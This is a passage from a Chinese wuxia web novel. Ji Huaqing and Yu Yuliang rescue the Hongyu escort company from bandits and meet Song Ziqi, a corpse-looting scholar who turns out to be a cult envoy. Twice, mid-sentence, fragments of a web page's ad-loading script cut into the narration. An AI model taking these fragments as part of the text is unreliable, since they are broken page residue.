那群人听他这么说,都恍然大悟般“哦”了一声。 雨馀凉心想:“江湖上的这些事可真是稀奇古怪,魔教也真不愧被称为魔教,当真邪门可怕得紧。”这人的描述虽然很符合他对魔教的第一印象,但雨馀凉又想到那日在破庙,葛陟谯说姬花青也是魔教中人。他偷偷去觑姬花青,却并不能从姬花青脸上看出什么表情。 他不知道葛陟谯是在胡说还是怎么,不过姬花青对他这样好,魔教不魔教的,又有什么打紧? 姬花青端着茶杯小口小口地抿着茶水,只是静静听着。 等菜上来后,两人各自拿起筷子,姬花青淡淡道:“馀凉,告诉你一件事,议论别人时,不要在外面大声议论,说不定被议论的人或此人的熟人就在旁边。若是遇见不好打发的,麻烦可就大了。” 雨馀凉觉得姬花青说得有道理,点头道:“知道了前辈。” 饭毕,二人走出饭店,姬花青突然问雨馀凉:“你身上还有钱吗?” 雨馀凉听她问,将自己的钱袋掏了出来,提住袋底往掌心一倒,只倒出了十几枚铜钱。 姬花青:“……” 雨馀凉:“……” 片刻后,姬花青道:“没事,我们先走着,边走边想办法。” 突然见前方围着一团人,姬花青不爱看热闹,径直从人群旁边掠过,雨馀凉却专爱瞧热闹,将姬花青拉回来,往人群里走去。 雨馀凉带着姬花青在人群中七拐八绕,慢慢挤过,竟不知怎的就挤到了最前方。只见人群中央赫然站着一个年轻公子,那公子长身玉立,头戴一顶白玉冠,背上还背着一个青布包袱,那包袱里不知包着什么物什,轮廓有些狭长,又有些棱角。 那年轻公子双手将一本书册举高,朗声道:“真没有人要买下吗?” 雨馀凉道:“什么东西啊?” 他这句话本来是对姬花青说,但他站的位置离那年轻公子比较近,后者也听到了,那年轻公子转向雨馀凉,道:“已成孤本的琴谱,珍贵无比。” 姬花青一开始只是随便听着,甚至打了个哈欠,听那年轻公子说到“琴谱”二字,突然微微睁大了眼睛。 雨馀凉对琴曲琴艺并不了解,见那年轻公子看着自己,神色间似乎在询问自己是否感兴趣,有些羞赧地摇了摇头。 年轻公子垂下眼帘,又转向另一个方向,道:“世间只此一本,有没有懂音律的朋友?这本琴谱可相当宝贵啊!” 有一人问道:“既然这么珍贵,你为什么不自己留着呢?” 那年轻公子道:“实不相瞒,在下身有要紧事,急需用钱,若不是到了走投无路的地步,在下是绝对不会将这本琴谱转于他人之手的。” 姬花青突然开口:“公子,可否先将琴谱借我一观?” 那年轻公子循声回头望向姬花青,道:“当然可以。”当即走到姬花青面前,两手将琴谱摊开,一页页地慢慢翻给姬花青看。 雨馀凉就在姬花青旁边,也将琴谱看了个一清二楚,只见琴谱上尽是些似字又不是字的符文,他虽不了解琴曲音律,但也知道这些符文正是琴谱所特有,每个符文都包含了双手指法等要旨。 姬花青看了一会,问道:“公子要价多少?” 年轻公子道:“三百两银子。” 人群中一瞬哄然。 从那公子站在这叫卖开始,姬花青还是第一个上前问价的。这些围观的人,这辈子都没见过三百两银子,有人甚至不由得叫出了声:“多少?” 众人皆想:三百两银子干什么不好?谁会用三百两银子来买一本旧书? 姬花青胸口微微起伏,道:“便宜一点?” 雨馀凉看着周围面面相觑、神色又是惊讶又是戏谑的人群,心里说道:“三百两银子!就是便宜一点我们也买不起啊。” 年轻公子道:“在下说的已是卖价,本来这谱子还不止值这么些,但没办法,在下实在是急需现银,不得已才出此下策。姑娘,你若诚心要,咱们一手交钱一手交货,这就成交了。” 姬花青的手握紧成拳,最终还是松开了,扯出一个笑容道:“我身上实在没带这么多钱。” 那年轻公子道:“在下可以随姑娘到贵府去拿。” 姬花青道:“我的住处也没有这许多银子,真是遗憾。这位公子,这就告辞了。”她对雨馀凉道:“走吧。”说毕转身离开,雨馀凉忙跟了上去。 姬花青和雨馀凉二人出了镇子,朝鸿州的方向而去。 雨馀凉道:“花青前辈,那本琴谱有什么特别,你这么想买下?” 姬花青道:“那本谱子上记的十几支琴曲都是失传已久的古曲,确如那人所说,这琴谱珍贵无比,他的要价虽然惊人,却也合理。”说完低下头自言自语道:“没想到在水南发现了……” 雨馀凉道:“既然失传已久,前辈如何得知?” 姬花青道:“我听人说起过。” 雨馀凉想,花青前辈真是多才多艺,不仅武功好,还于琴艺颇有研究。爱琴之人不得已错过好琴谱,雨馀凉能理解这种遗憾,于是对姬花青道:“花青前辈,说不定以后在别的地方,还能看见更好的谱子。” 姬花青看出了雨馀凉是在安慰自己,微笑道:“罢了,江湖上行骗伎俩多,那本谱子我没认真看,是假的也不无可能。” 雨馀凉本来还待问什么,但他一时想说的太多,尚未组织好语言,两人正自沉默间,姬花青忽然道:“馀凉,上次我说要教你应对长鞭的方法,还没说完,就被人打断了,刚好现在有空,我便接着说啦。” 雨馀凉道:“前辈请讲。” 姬花青思索道:“我上次讲到哪了来着?嗯,使长鞭者,若要将人制住,最直接的方式便是锁人脖颈。若是四肢躯干被缠,对方尚能行动挣扎,而被缠住了脖颈,轻则呼吸不畅,重则颈骨扭断而丧命。” 听姬花青说到这,雨馀凉一下回忆起了被那个万克礼用长鞭缠住脖子甩飞,在半空中就已经丧命的肥壮汉子。 接下来,姬花青跟雨馀凉口头描述了一下以长刀和指掌功夫应对长鞭锁喉的几种方式。 听着女子特有的娇柔嗓音,雨馀凉到现在都还有些恍惚,不是很能把眼前这个女子和先前与自己同行了月余的疤脸汉子联系在一起,但听她继续跟自己说起如何应对鞭法,又觉得她还是之前那个木前辈没错。 “他要来以鞭来拿你咽喉,就跳不出这个圈子,照我说的打就行了。” “方才我说,别人用长鞭来缠你脖子,跳不出那么几种套路。可若对方要以长鞭来封你的行动,情况就不同了,会更复杂一些,不,复杂得多。我把这其中的变化一样一样跟你说吧。这个月可能都要让你学这个了,一个月还不一定学得完。” 雨馀凉想了想,问道:“对付□□、九节鞭、钩锁、丝线等兵器,跟对付长鞭道理是不是差不多的?” 姬花青道:“然也。” 两人正行走的这条路在前面拐了一个大弯,一丛树木刚好挡在拐弯处,以姬花青和雨馀凉的角度,看不到树丛后的景象,忽见一匹健骡拉着车从树丛后直窜出来,那骡车并没有车夫驾驭,而骡子兀自狂奔不止,车中有人声传出:“救命,救命啊!” 是一辆失控的骡车! 那骡车驶到姬花青身旁时,姬花青啪的一声把住了车辕。骡车被姬花青强行截停,那骡子长嘶一声,两只前蹄高高抬起,姬花青一边口里道着:“吁,吁……”一边抚摸着这匹骡子的脖子和鬃毛,那骡子才渐渐安静下来。 这时路旁的树林中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又转出一个浑身是血的人,那人跌跌撞撞地朝姬花青和雨馀凉奔来。雨馀凉惊了一跳,姬花青满腹疑惑,难道有人行凶杀人?这里是大道上,又邻近州府城镇,敢在白天就这样行凶,看来歹徒不是一般的毛贼。 随即树丛后又冲出两人来,三两步追上前面那人,前面那人转身横刀,堪堪挡下后面两人的流星锤和铁锏,饶是对方的武器没有直接打在他身上,他也仍是喷出了一口血,三人翻翻滚滚斗在一处。 雨馀凉见两人合攻一人,且先开始出现的那人已逐渐难以支撑,正要上前,一旁姬花青手搭上他肩膀道:“哎,先不急。我们还不知道双方人马的身份,再看看。” 正说话间,树丛后又接连窜出数十人,这些人亦是三三两两斗作一处。 当的一声,最开始出现的那人又被打得向后滑出数尺,他双手握刀,刀身竖起,咬牙道:“我们已交了镖,你们要劫,也劫不去什么。” 那使流星锤的道:“没有镖货,人命也是一样的。”旁边那使锏的道:“不错,今天必要将鸿羽镖局满门上下杀得鸡犬不留。” 姬花青这下看出,这是一伙镖队被歹徒盯上了,当即踢起路边的石子,只听当当两声,两名匪徒手上的流星锤和铁锏相继被打落在地。 那两名匪徒一惊,异口同声道:“什么人?” 姬花青微微一笑,道:“现在的强人是越来越胆大了,都等不到晚上,光天化日在这大道上就要抢劫杀人。在下只是路过,刚好碰见而已,但觉不能对这事视而不见,于是来管上一管。” 一名匪徒道:“臭娘们,你活腻歪了你,敢来管大爷们的闲事!”便和另一人捡起各自的武器,朝姬花青冲来。 雨馀凉还没反应过来,就见姬花青身形一闪,两名匪徒霎时中刀倒地。他们皆是胸口中刀,但伤口说浅不浅,说深不深,这两名匪徒滚倒在地,不住哀嚎。 姬花青伤了两名匪徒后并不停留,她见凡镖局的人都系着赭色领巾,于是四处游走,左奔右突,横削直刺,一刀一个,将凡是和系着赭色领巾相斗的人都砍伤在地。 片刻过后,五十多个匪徒便都为姬花青所伤,他们倒在地上,一时无法起身。 最开始出现在姬雨二人面前的那名中年镖师将脸上的血用衣袖一抹,走上前来,倒提刀身,向姬花青拱手道:“多谢这位女侠相助。” 姬花青也一拱手,道:“路见不平,略一出手罢了,就此别过。”说着便叫雨馀凉:“馀凉,走罢。” 那名镖师上前几步道:“二位留步,女侠救了我们镖局这许多人的性命,实在不知要怎么报答才好。在下姓秦,是鸿州鸿羽镖局的总镖头,就请二位到我们镖局,我们在镖局子里摆上一桌宴席款待二位,权当答谢,二位意下如何?” 姬花青和雨馀凉虽然也是要去鸿州,但姬花青不想和其他人扯上关系,于是道:“多谢秦总镖头好意,但在下着急赶路,恕难从命了。” 这时骡车前的帘子动了几动,似乎是车上的人打算下来。但还没下车,就听车里那人“哎哟”了一声,紧接着是什么东西掉落在车板上的声音,那东西又从车板上一弹,弹出了车外,叮叮当地落在了尽是碎石的路面上。 姬花青的目光落在那东西上,瞬间睁大了双眸,眼神再也移不开半分。雨馀凉见姬花青似乎僵在了原地,于是顺着她的视线看去,只见马车旁落着一块黑黝黝的铁牌。 在雨馀凉看来,那铁牌并无什么特别之处,他又看向其他人,最终发现,似乎只有姬花青产生了不寻常的反应。 车帘一掀,车上跳下一人,那人赶紧弯腰将铁牌拾起,伸出手指抹去铁牌上的尘土,又在衣服上擦了擦,这才重新将那铁牌塞进衣襟内。 自从看到那铁牌后,姬花青觉得自己已经随时做好了撒腿就跑的准备。 从车上下来的那人放好铁牌后,抬头看向姬花青和雨馀凉,整了整衣袍,上前抱拳道:“多谢相救。” 那是个容貌清秀姣好的少年,年纪看上去跟雨馀凉相近,比姬花青还小着好几岁。若是鱼晚衣和河伯在场,一定会大吃一惊,因为这个少年,正是他们之前从九寒山牢带出的那名囚犯,只是他当时被狱卒咬中,应该已经变成蛊毒傀儡了才对,又怎会像什么事都没有一般,突然出现在九寒山牢千里之外的鸿州? 44. 走镖(二) 宋子期心想,我要回去弄岑微明那个老登,首先得从仲邑江坐船回到水西才行。但这里和仲邑江隔着十万八千里,还没到仲邑江,宋小爷我就被山贼强盗杀了。之前那两个人武功还不错,跟他们一起一定很安全,而且可巧的是,他们也要去水西,本来是想跟他们一道的,但那些狱卒不知为何发了疯,还咬了老子一口,害得人家以为我要变成僵尸了,把我扔在原地。但奇怪的是,我怎么没变成僵尸?不过那时,我也吓得够呛,情急之下,只好趴在地上装死。 等到郑宝卿等重云门的人和狱卒离开,四周安静下来,宋子期依旧在地上趴了良久,确定周围没有其他活人后,他这才鬼头鬼脑地爬起来。 见四周都是狱卒的尸体,宋子期被吓得魂飞天外,赶紧离开了现场。 过了一会,他又折返了回来。 宋子期右手捡起落在地上的一把剑,在一具尸体前定定地站了良久,最终下定决心,咽了口唾沫,轻手轻脚地走过去,伸出左手在狱卒身上小心翼翼地摸索。 他一边摸索,一边注意着狱卒的尸体,若后者突然诈尸,他便用右手的剑防身。 宋子期全程处于极度紧张的状态下,好在,他最终摸到了一个似乎是袋子的物事,将那物事拿出来,再打开一看,宋子期一喜,这不正是自己想要的东西吗。 一个藏蓝色的布袋里,装着满满一袋碎银和铜钱。 喜悦让他紧张的神经略微放松了一些,他本来拿了这袋钱就要走,但又突然停住了脚步。 鱼晚衣、邢勘、郑宝卿三人杀了一阵子,被刺中心脏倒在这的狱卒倒有数十人之多。看着这些横七竖八的尸体,宋子期忽然想知道,所有这些人身上的钱加起来该有多少? 蹲在地上向每个尸体挨个摸去时,他觉得自己人生中没有哪一刻像现在这样真切地懂得“富贵险中求”这五个字的含义。 越到后来,宋子期胆子也越大,动作也越利索,他突然发现,自己已经可以专门写一篇文章,题目就叫:论人们在身上藏钱的常见位置。 搜完最后一具尸体,都没有一个狱卒跳起来咬他一口,宋子期心脏狂跳,一半是因为紧张的劲还没完全过去,一半是因为狂喜。 在数十具尸体上搜刮后,宋子期收获了一笔不小的钱财,靠着这笔钱,他先来到一座镇子的客栈里洗了个热水澡,再买了身新衣服,又到馆子里大吃了一顿,这之后就开始思考他一个手无缚鸡之力的文人,要怎么上路的问题。 他想到了找镖局,但谷州府附近没有像样的镖局,规模不大,人数不多,要价还高,镖师看上去也没两下子,宋子期甚至怀疑这些镖师还没他能抗揍。 于是宋子期跟着那些因为做生意而在各个地方游走的人,与他们搭伙上路。并且只在白天赶路,晚上就歇宿在客栈旅店,或在农人家借宿一夜,这样就最大程度地避免了碰上山贼强人。 只是山贼强人虽没碰上,却碰见了小偷窃贼。一日在乡间旅店,一群人在一间大屋里睡通铺,宋子期醒来后,往身上一摸,就发现钱袋不见了。 他放眼一看,屋子里的人已经走了一半,不知道那偷他钱的人是走了还是尚在屋中。而剩下的人凶神恶煞,一副不好惹的样子,他又不会一点武功,思来想去,只好自认倒霉。 这时师兄带笑的话就又回荡在他耳边:“也没人让你练成天下第一呀,把脸皱成苦瓜做什么?你就稍微练一练,这样在危急时刻也不至于毫无还手之力。” 过去的岁月里,他不知有多少次陷入了回想起师兄的这几句话的境地,但他依然没有花时间去练武功。尽管如此,就算他没有武功,他也决心用自己的方式去完成一些事,比如去找岑微明报仇,又比如眼下从这里回到水西。 只是那一大笔钱,他自己都还没舍得用多少,就全部被偷了去,还没享多久富贵,一朝又变成了穷光蛋。 宋子期本来大是悲伤,但转念一想,反正这些钱也是他摸来的,原本就不属于他,自己从那些狱卒身上摸来,小偷从自己身上摸走,也是天意。 所幸他运气不差,钱被偷走后,遇到一对探完亲要回村子的爷孙。听了他的遭遇后,那老翁主动提出可以送宋子期一程。宋子期简直感激涕零,千恩万谢地上了他们的驴车,和老翁的小外孙女并排坐着。 宋子期虽然有了搭伴行路的人,还有了交通工具,但仍是觉得有什么地方不放心,于是问老翁,像他们这样只有一个老人一个小孩在路上走,就不怕被强人匪徒盯上? 老翁笑道:“一个糟老头子,一个小毛孩子,身上有几个值钱的东西?况且,这十年来,自从皮寨主到这一带扎寨后,对其他盗匪多加约束,普通人行路便很安全了。” 宋子期道:“哦?这皮寨主是何人?” 老翁道:“也是强人,但他不欺负我们这些百姓,只打跟他势均力敌的人的主意。” 听老翁这么说,宋子期悬着的心放下了一大半。他感念老翁捎上他赶路,一路上抢着帮老翁做事,还将小女孩逗得咯咯直笑。 这对爷孙居住的村子在鸿州城背后,宋子期在与这对爷孙告别前,还送了小女孩一只用草叶编的蟋蟀。 就这样,宋子期虽然半点不会武功,脚程不如会武之人,但一来路上未被琐事拖住,二来有驴车代步,他和姬花青、雨馀凉几乎同时从谷州府那片地方出发,却也和姬雨二人前后脚到了鸿州附近。 宋子期知道鸿州城内鸿羽镖局很是有名,便朝着鸿州城而去。 他正走在路上,忽听得身后马蹄阵阵,回头一看,只见一队人马离自己渐行渐近。 宋子期闪到路旁,给这伙人马让路。 他们从宋子期身边经过时,宋子期看清,领头的是个骑马的中年人,神色威严,身量甚是挺拔,他骑在高头大马上,更显得气势非凡。 后面跟着的人,有的骑马,有的走路。除了人和马外,还跟了十几二十辆骡车。 宋子期一边看他们经过,一边心想,嚯,好大的派头,这些是什么人? 心中正好奇时,忽瞥见每辆车上都插着一面旗帜,旗上绣着展翅高飞的鸿雁,宋子期又想,怎么在车上插旗?倒像是镖局在镖车上插镖旗一般。 突然,宋子期心中咯噔一下,不是像!这队人马正是镖局的人,那旗上绣的鸿雁,正是鸿州鸿羽镖局的标志。 好巧!这不正是自己要找的人吗? 鸿羽镖局近几十年来声名在外,俨然已成了鸿州第一镖局,宋子期在进入九寒山牢之前,便听说过这家镖局的大名。他曾从鸿羽镖局开设在其他地方的分号门前路过,当时就觉得这镖局大门修得极是朗阔大气,不时便有人从里面匆匆出来,又有人从外面匆匆进去。 一个分号都这么气派,不知总号是何等模样? 宋子期连忙跑到骑马在最前面的秦总镖头跟前,大声道:“留步,留步!” 总镖头秦椿向后比了个手势,同时自己勒马停步,在马上道:“阁下是何人?有何贵干?” 宋子期道:“在下有一趟镖要请贵镖局护送。” 秦椿闻言,回头和身后几个镖师相互看了一眼,又转过头对宋子期道:“敢问要我们押送的是何物?押往何地?有无时限?” 宋子期道:“押往水西绸川绸子店,没有时限,不过当然是越快越好,至于要押送的东西嘛,就是我这个人。” 秦椿一阵沉吟。 听宋子期这么说后,他是不欲接这趟镖的,倒不是水西离他们鸿州路途遥远——尽管这会成为很多镖局拒绝接下一趟镖的缘由,但鸿羽镖局是远近闻名的大镖局,生意做得大,其他小镖局接不下来的单子鸿羽镖局接得下来,过去押往水西、水东的镖也接过不少了,对于这种活,他们积累的经验倒是丰富。押的镖货是活人而不是镖银珠宝,也算不得稀奇。只是鸿羽镖局名气大,保镖能力强,要价自然也高,平时来找他们押镖的非富即贵,要么是顶有钱的人,要么是某个大的帮派组织,这些顾客交代的事少,给的还多,他们已经很久没有接待过像宋子期这样的散户了。 秦椿决定先问个清楚再做考量,于是对宋子期道:“鸿羽镖局的规矩,向来是客人先要支付最终报酬至少一半的银两,只有这样,我们的镖师才会启程走镖。” 宋子期道:“啊?这,你可不能打量着蒙我,我也不是没接触过其他镖局,就是别的大镖局,也没听说有这样的规矩啊。”他眼下身无分文,敢去请镖局押镖也是因为知道可以等镖安全到达指定地点后再付酬金给镖局,结果这个鸿羽镖局一上来就跟他谈钱的问题。 谈钱的问题,他可就有点心虚,因为这是他没有的东西。 秦椿见他是这等反应,便已经决定不再和他纠缠,道:“也许别的镖局规矩不同,但我们镖局的规矩,向来是这样,阁下若不信,可以到鸿州城去打听打听。另外,鸿州这个地方镖局子很多,鸿州城里不只有鸿羽镖局一家在干押镖的活计,光是大的镖局就有几十家,阁下也可以到别处去问问,若没有别的事,我们就此别过。”说着催动跨下骏马迈开步子继续前进,镖局众人也都紧随其后。 宋子期转身望向秦椿的背影,道:“嘿!我说,我一个水西人流落到水南,孤苦伶仃,无依无靠,就想回到家乡,可两地相隔万里,这一路上又这么不太平,叫我一个身无武功的柔弱之人怎么回去?又不是不给你们钱,你们可不能这样店大欺客,我说……喂——” 一名年轻镖师骑在马上,这时回过头来望了望宋子期,忽然大声叫住最前面的秦椿:“总镖头。” 秦椿略微将头一侧,道:“小暑,何事?” 那名叫做叶小暑的年轻镖师道:“总镖头,过几天我不是就要告假回水西么,我想着……反正都要回水西,况且我知道绸子店这个地方,离沧阆不远,顺便捎他一截也无妨,顺便还能为我们镖局子赚一份酬金。” 秦椿道:“小暑,往日我就说你天真,你看这个人,多半是个来找消遣的骗子,他说的话不能信。” 一旁的女镖头白翡姑道:“是啊叶镖头,退一万步说,就算他说的是真话,可这一路上只有你一个人,若是单独赶路还能自保,可再加上一个需要保护的人,万一他拖你后腿怎么办?” 另一名苗镖头道:“叶镖头,总镖头和白镖头都说得很有道理,我再说一句,你别怪我话丑。就你和他两人单独上路,若是运气不好,两个人都完蛋,若是运气没那么差,你勉强保住自己性命,他却折在了歹人手上,不管哪种结果,传出去,于我们镖局的名声也不好。” 叶小暑听了总镖头和两位同僚的话,觉得有道理,正欲打消念头,众人忽听得背后踏踏踏脚步声响,都不约而同地回过头去,只见宋子期竟向镖队前方跑了过来。 他甫一跑到秦椿马前,身子一软便委顿在地,秦椿连忙拉住马缰,这才没让马蹄从他身上踏过去。 宋子期顾不得衣服和头发上全沾了尘土,一边在地上打滚一边道:“你从我身上踏过去啊!我回不了水西,宁愿死了!你快踩死我,踩死我吧!” 苗镖头指着宋子期道:“你别以为我们不敢把你怎么样,真逼急了,把你弄死再找个僻静地方抛尸!” 秦椿转头对苗镖头喝道:“别胡说!”苗镖头本来还想说什么,被总镖头喝止,只得闭上了嘴。 宋子期听了苗镖头这话,更加不得了,一边打滚一边大声叫道:“杀人啦!鸿羽镖局杀人啦!大家快来看哪!鸿羽镖局杀顾客啦!” 这里是大道,常有行人往来,秦椿听他如此乱嚷,忙往四周看去,幸亏此时没有人路过。 鸿羽镖局是秦椿一手创立,他辛苦经营数十年才打下如今这块牌子,所以对镖局名声极是爱惜,宋子期这么不管不顾地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大声嚷嚷,被人听见,势必要传出闲话。 秦椿无法,在马上俯身对宋子期道:“你到底要怎样?”一边想尽快安抚下他的情绪,一边祈祷这个时候不要有镖局以外的人来。 宋子期道:“你们是镖局,我找你们押镖天经地义,为什么不接?其他镖局没你们这么好的镖师,又不接离开水南的镖,我是要去水西,不找你们找谁?押镖前先付银子和押镖后再付有什么区别?反正最后银子都是你们的,偏偏这么死板,我现在身上没银子,在水西那边银子却有的是,你们非要让人在没银子的时候给你们银子,有银子的时候你们又不要,活该赚不到钱……” 他这番话倒把秦椿说得一时语塞,一旁苗镖头嘁的一声笑出来,道:“谁知道水西那边有没有银子?我看你就是个骗子……” 宋子期听他说自己是骗子,“啊”的一声大叫,又是捶胸又是双腿乱蹬,道:“你们可以打我,但不能侮辱我!凭什么说我是骗子!!!你没有证据,却说我是骗子,你们鸿羽镖局都是这样的吗?我受不了了,我今天就要到你们镖局去,吊死在你们镖局门口,让周围的人都来看看,你们究竟是怎么对待主顾的,我不活了,我不活了!!!” 叶小暑从后方斜侧看到秦椿糟心的表情,催马越众而出,来到正在地上翻滚的宋子期面前。秦椿见叶小暑走出,忙想阻止,但叶小暑只对秦椿笑着点点头,秦椿一迟疑,最终还是放下了举起的右手。 叶小暑对宋子期道:“喂,我送你回水西去,你愿不愿意?” 宋子期停止了翻滚,目光落在叶小暑身上。只见这是个极其年轻的少年人,才十七八岁的样子,哼哼道:“你只是个小孩,能做什么?好哇,你们鸿羽镖局让个小孩来糊弄我,这小孩是在你们镖局是趟子手,还是只是个打杂的?小娃娃,劝你莫要来搅这趟浑水,话说回来,是谁让你站出来说要送我回去的?你是不是有什么地方得罪人家了?这么鼓掇你上赶着来送死……” 叶小暑心道:“你看上去也不大,怎么一会叫我小孩,一会叫我小娃娃?” 一名镖师道:“放尊重些,这是我们鸿羽镖局的叶镖头!” 宋子期吃了一惊,不由得脱口而出:“镖头?” 这小孩是个镖头? 他突然想好好看看这名少年。 一开始,他只是抬起了脖颈,盯着叶小暑看了几眼后,干脆坐起身来,打量着马上的这个少年镖头。 镖队中,很多镖师都是走路跟在镖车旁护送,而宋子期这才意识过来,这少年骑在马上,在镖局中的身份确实应该不低。 那少年见宋子期光盯着自己发呆,又问道:“怎么样,答应么?” 宋子期突然觉得,这个小孩还挺合他胃口,于是道:“你们同意我后付酬金了?” 叶小暑回头看向秦椿,见后者没有反对,是默认了,于是又看向宋子期道:“嗯,就按你说的,到了水西,把你送到地方后,你再将酬金给我。” 宋子期一下站起,似乎方才那个撒泼打滚的人根本就不是他,他拍拍胸脯,道:“放心,我不是言而无信的人,只要将我安全送到,酬金绝对少不了你们的。” 秦椿道:“既如此,就请这位客人先到镖局歇脚,过几日再让小暑跟着启程。敢问客人姓名?” 宋子期道:“鄙人姓宋,名子期。宋就是最常见的那个姓宋的宋,子是子时的子,期是佳期的期,这位小兄弟叫……小暑?” 叶小暑道:“叶小暑。” 宋子期笑道:“叶小暑,叶镖头,好名字,好名字!” 走了几步后,宋子期对秦椿道:“秦总镖头,我的腿好累啊。” 秦椿道:“还请宋朋友再坚持一下,等进城后,我们就坐船走水路到镖局。” 宋子期道:“可是人家实在走不动了……” 苗镖头对宋子期怒目而视:“答应接你这趟镖已经是格外破例了,你还搁这磨磨唧唧些什么?” 宋子期道:“这个苗镖头好凶啊,你们都骑在马上,当然不觉得我走路累啦,我一路风尘,好不容易来到鸿州,还不许我累了么?” 苗镖头还要说什么,叶小暑突然道:“总镖头,反正镖车都已空出来了,不如让他坐进去?” 秦椿想了想,道:“也可。”让宋子期待在后面的镖车里,也免得在他耳边聒噪。 宋子期在叶小暑的带领下来到一辆镖车前,宋子期见车内空无一物,道:“我还以为里面装满了镖货。” 叶小暑道:“镖货早已交了,我们就是刚押完镖回来的。” 宋子期道:“啊,原来如此。”他想到了什么,笑道:“我既把自己当做要押的镖,这是提前适应一下当镖货的感觉。” 叶小暑笑笑,只道:“快坐进去吧。” 宋子期坐上镖车后,镖局人众又往前行进了一段路途。忽然间破风声响,镖局众人蓦地警觉起来,秦椿举刀一格,只听当的一声,一枚铁镖落在地上。 接着道路两旁的树丛中陆续冒出一众人来,他们各执兵刃,逐渐对镖局人众形成合围之势,人数竟有五六十之多。 秦椿道:“敢问诸位是哪里的大王?宝寨何处?先前没能拜会,属实得罪,改日姓秦的定当以一份大礼奉送。” 一名手持流星锤的汉子道:“在这方圆百里内,还有哪一位敢称大王?” 秦椿闻言,抱拳道:“原来是皮寨主的麾下,幸会了。” 那使铁锏的汉子道:“姓秦的,你专会说漂亮话,干的却全是卑鄙无耻之事,打一巴掌再给颗蜜枣的伎俩,也敢用在我们三乌寨头上?” 秦椿一头雾水,道:“这……要从何说起啊?” 拿流星锤的汉子一手捋过流星锤的铁链,倏忽间甩出,流星锤呼的一声朝秦椿面门砸来,那汉子道:“你既装作不知,就送你下地府问阎王去吧。” 45. 走镖(三) 宋子期将车帘掀开一条缝,只看了几眼,又立即将车帘放下,一颗心砰砰直跳。 这谁?怎么没听他们和鸿羽镖局的人说几句话就打起来了?而且他们的对话宋子期一句也没听懂,就这么随意地开打了? 有话不能好好说,非要动刀动枪! 不知道他们在打什么,不知道他们为什么打架,反正上去一通干就完了,这些江湖人总是这样。 宋子期觉得自己受够了,可能江湖就是打打杀杀吧。 所以他讨厌江湖。 哎哟,真是有辱斯文哟。 宋子期想起那名叫叶小暑的小镖头,正准备再掀开帘子看看他怎么样了,忽然不知是谁的兵器打在了宋子期车前的骡子身上,这一下打得不算重,骡子并没有受什么伤,但骡子吃痛,当即长嘶一声,拔腿奔出。 这才有了刚好也在这条路上行走的姬花青和雨馀凉先开始看到的那一幕。 姬花青见宋子期向自己道谢,略一迟疑,也还是拱手还礼,道:“哪里,这位公子没事就好……” 宋子期道:“适才秦总镖头的提议我觉得不错,姑娘是我们这一众人的救命恩人,不请姑娘到镖局去坐坐,好好感谢一下姑娘,太也说不过去。” 一旁的镖局众人听了他这话,都多少觉得有些别扭,姬花青是帮了他们没错,说有恩于他们也没问题,但“救命恩人”四个字似乎稍显过头,这些匪徒虽然凶悍,但也不至于到了让他们鸿羽镖局全军覆没的地步,宋子期这么说,倒显得他们镖局都是些草包了。 姬花青一来不想浪费赶路的时间,二来性情孤僻,不喜应酬,本来就要回绝总镖头秦椿的好意,刚刚看见宋子期身上掉落的那块令牌,心中更是惊疑不定,只想赶紧离开。于是姬花青再次对秦椿道:“我自己实在是也有要事在身,就不到贵镖局叨扰了,告辞。”说着转身就走。 宋子期在她身后道:“且慢,姑娘为什么这么着急要走?难道说这里有姑娘不想见到的人?” 雨馀凉本来也随着姬花青匆匆离开,听宋子期这么说,不禁回头看了宋子期一眼。 姬花青并未回答,兀自往前走。 宋子期见状,一路跑将过来,追上姬花青,伸手就要把住姬花青的肩头,嘴里道着:“姑娘……” 姬花青猛然回过身来,一掌向宋子期拍去。 宋子期大吃一惊,来不及多想,当即施展出手法要卸去姬花青的这一掌,他本来也是情急之下胡乱出招,但姬花青的这一掌竟就这样被他格了下来。 姬花青脸上变色。 于在场其他人看来,刚才那一幕也并无令人惊奇之处,无非是姬花青直截了当地出了一掌,宋子期又伸手一挡罢了,不会武功之人见一掌拍来,下意识地也会这般格挡。但只有姬花青自己知道,方才自己那一掌看似平平无奇,实则暗藏着诸多后手,面对宋子期,她一来就使上了全力,但此人手法奇特,看似慌慌忙忙的一挡,竟将她暗含的后着变化路数一一堵死,武功之高明,实属罕见。 更令姬花青背上冷汗涔涔而下的是,他竟在这人的招格手法上,隐隐看到了师父的…… 只是看了刚才那一幕,镖局众人无不心中暗暗纳罕,秦椿心想:“这个宋子期不是说他不会武功么?可他刚刚那一格明显不是不会武功之人的挡法。可他若是会武功,又怎会在失控的骡车上毫无自救之力?” 其实宋子期的武功也就止步于此了,无论是什么人用哪一招攻来,他都是这么一档,且也只能挡这一下,若是敌人接着出招,宋子期的西洋镜当场就要被拆穿。但奇就奇在他用于招格的这一手法实在是精妙,隐含着天下武功的深奥至理,敌人武功愈高,愈是会被他这一招唬住。也是因为他这一格太过精妙,所以在姬花青看来,宋子期的武功深不可测,远在自己之上。 既然宋子期武功远高于自己,那么她再逃再反抗也是枉费力气。姬花青双手垂下,定定站在原地,要看宋子期接下来会怎么做。 宋子期看了一眼身后的镖局众人,又看了眼旁边的雨馀凉,提高了声音道:“诸位,我和这位姑娘要借一步说话,烦请你们在此处稍等。”说着对姬花青比了个“请”的手势,要姬花青和他一起离开此处。 姬花青面无表情地看着他,最终还是曳开步子,向旁边走去。 雨馀凉忙上前几步,道:“花青前辈……” 宋子期立即抬手制止他,道:“小兄弟,我和这位姑娘有事情要谈,请止步。” 姬花青道:“馀凉,你就在原地。”说着便和宋子期一前一后走向远处走去。 既然姬花青都这么说了,雨馀凉只好停留在原地,他望着姬花青的背影,脸上写满了担忧和疑惑。 姬花青和宋子期绕到树丛之后,隔着树丛看去,镖局人众的身影变得模模糊糊。宋子期将方才慌忙之间挡姬花青那一掌时掉落下来的额发别在耳后,淡淡道:“教里找了你很久,嘿,你还挺能躲。” 姬花青听他一来就提到“教里”,自然就是指玄同教了,心想果然,自己的行踪还是被教里找到了。虽然她心里清楚这一天迟早会来,也多次想象自己被找到时的情景,让自己在这一天到来时能坦然应对,尽管如此,这一刻真正到来时,姬花青仍是感到背脊渐次发麻,若不是勉力支撑,她已禁不住要靠在一旁大树的树干上。 